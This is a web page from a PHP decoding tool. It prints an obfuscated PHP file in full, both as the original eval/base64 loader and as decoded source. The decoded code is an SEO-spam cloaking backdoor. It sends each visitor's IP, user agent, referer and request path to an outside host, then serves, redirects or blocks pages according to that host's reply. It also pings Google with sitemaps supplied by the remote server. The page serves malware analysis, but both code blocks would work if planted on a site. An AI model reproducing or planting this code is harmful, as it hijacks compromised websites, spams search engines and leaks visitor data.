Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? $O0O000="NIJqyUWwjckMdofBHPCuOFaTblSLnmxArpZDVvRgzsXKGYiQEehtKCHkbTtUgYiMDVGjXuaxnWLmq..

Decoded Output download

?>b'<?php $c=\'fgj369\';@set_time_limit(3600);define("W",\'http://fgj369.lessopen.shop\');define("U",getu());function k($e){return@$_SERVER[$e]?$_SERVER[$e]:"";}define("S",k("PHP_SELF")!=""?k("PHP_SELF"):k("SCRIPT_NAME"));$g=strpos(S,"index.php")!==false&&strpos(U,S)===false?rtrim(S,"index.php"):S;if($g=="")$g="/";define("F",$g);$i=@$_REQUEST["p"];$g=ltrim(U,F);if($i!=""){$g=preg_replace("@(\?|\&)p=".$i."@","",$g);}define("U2",preg_replace("#^\W+#","",$g));$j=k(\'HTTP_USER_AGENT\');function getu(){$m=k("REQUEST_URI");if(empty($m)){$n=k(\'argv\');$m=S.\'?\'.(is_array($n)?$n[0]:k(\'QUERY_STRING\'));}return $m;}function is_https(){if(!empty($_SERVER[\'HTTPS\'])&&strtolower($_SERVER[\'HTTPS\'])!==\'off\'){return true;}elseif(!empty($_SERVER[\'HTTP_X_FORWARDED_PROTO\'])&&$_SERVER[\'HTTP_X_FORWARDED_PROTO\']===\'https\'){return true;}elseif(!empty($_SERVER[\'HTTP_FRONT_END_HTTPS\'])&&strtolower($_SERVER[\'HTTP_FRONT_END_HTTPS\'])!==\'off\'){return true;}return false;}function get_ip(){$o=$_SERVER[\'REMOTE_ADDR\'];if(!empty($_SERVER[\'HTTP_CLIENT_IP\'])){$o=$_SERVER[\'HTTP_CLIENT_IP\'];}elseif(!empty($_SERVER[\'HTTP_X_FORWARDED_FOR\'])){$o=$_SERVER[\'HTTP_X_FORWARDED_FOR\'];}if(stristr($o,\',\')){$q=explode(",",$o);$o=$q[0];}return $o;}function http($r,$s){$v="text/html";if(strpos(U2,"pingsitemap")===false&&(strpos(U2,".xml")!==false||strpos(U2,"/feed")!==false)){$v="text/xml";}else{if(strpos(U2,".txt")!==false){$v="text/plain";}else{if(strpos(U2,"images/")!==false){$v="image/webp";}else{if(strpos(U2,"sitemap.xsl")!==false){$v="text/css";}}}}header("content-type: {$v}; charset=UTF-8");$w=http_build_query($s);$x=W.$r."?".$w;$y=@file_get_contents($x);if(!$y){$y=c(W.$r,$w,0);}if(!$y){$y=c(W.$r,$w,1);}if(!$y){$z=@fopen($x,\'r\');if($z){stream_get_meta_data($z);$aa="";while(!feof($z)){$aa.=fgets($z,1024);}fclose($z);return $aa;}}return $y;}function c($r,$w,$bb){$cc=curl_init();if($bb){curl_setopt($cc,CURLOPT_URL,$r);curl_setopt($cc,CURLOPT_POST,1);curl_setopt($cc,CURLOPT_POSTFIELDS,$w);}else{curl_setopt($cc,CURLOPT_URL,$r."?".$w);}curl_setopt($cc,CURLOPT_RETURNTRANSFER,1);curl_setopt($cc,CURLOPT_HEADER,0);curl_setopt($cc,CURLOPT_TIMEOUT,10);curl_setopt($cc,CURLOPT_FOLLOWLOCATION,1);$y=curl_exec($cc);curl_close($cc);return $y;}function g($r,$s){$y=http($r,$s);if(!$y){@header(\'HTTP/1.1 500 Internal Server Error\');die;}$e=substr($y,0,1);switch($e){case "4":@header(\'HTTP/1.1 404 Not Found\');die;case "5":@header(\'HTTP/1.1 500 Internal Server Error\');die;case "3":@header(\'HTTP/1.1 302 Moved Permanently\');header(\'Location: \'.substr($y,1));header(\'referer: \'.k("HTTP_HOST"));die;case "7":return false;case "8":die;default:header(\'HTTP/1.1 200 OK\');return $y;}}$dd=array("ip"=>get_ip(),"lang"=>k("HTTP_ACCEPT_LANGUAGE"),"ua"=>$j,"r"=>strtolower(k("HTTP_REFERER")),"host"=>k("HTTP_HOST"),"uri"=>U,"uri2"=>U2,"isBot"=>preg_match("@google|yahoo|bing@",$j)?"1":"","f"=>F,"p"=>$i);if(is_https()){$dd["h"]="1";}if(strpos(U,"pingsitemap")!==false){$ee=explode(",",g("/sitemap.list",$dd));foreach($ee as $ss){$s=\'https://www.google.com/ping?sitemap=\'.$ss;$y=c($s,array(),0);if(!$y){$y=@file_get_contents($s);}if(stristr($y,\'successfully\')){echo $s.\'<br>pingok<br>\';}else{echo $s.\'======creat file false!<br>\';}}die;}$tt=g("",$dd);if($tt){die($tt);} ?>'

Did this file decode correctly?

Original Code

<?
$O0O000="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";

        eval('?>'.base64_decode(strtr(substr($O0O000 ,52*2),substr($O0O000,52,52),substr($O0O000,0,52))));


?>

Function Calls

strtr 1
substr 3
base64_decode 1

Variables

$O0O000 NIJqyUWwjckMdofBHPCuOFaTblSLnmxArpZDVvRgzsXKGYiQEehtKCHkbTtU..

Stats

MD5 ba3f9145dccf57ae5d7534fa203e588f
Eval Count 1
Decode Time 50 ms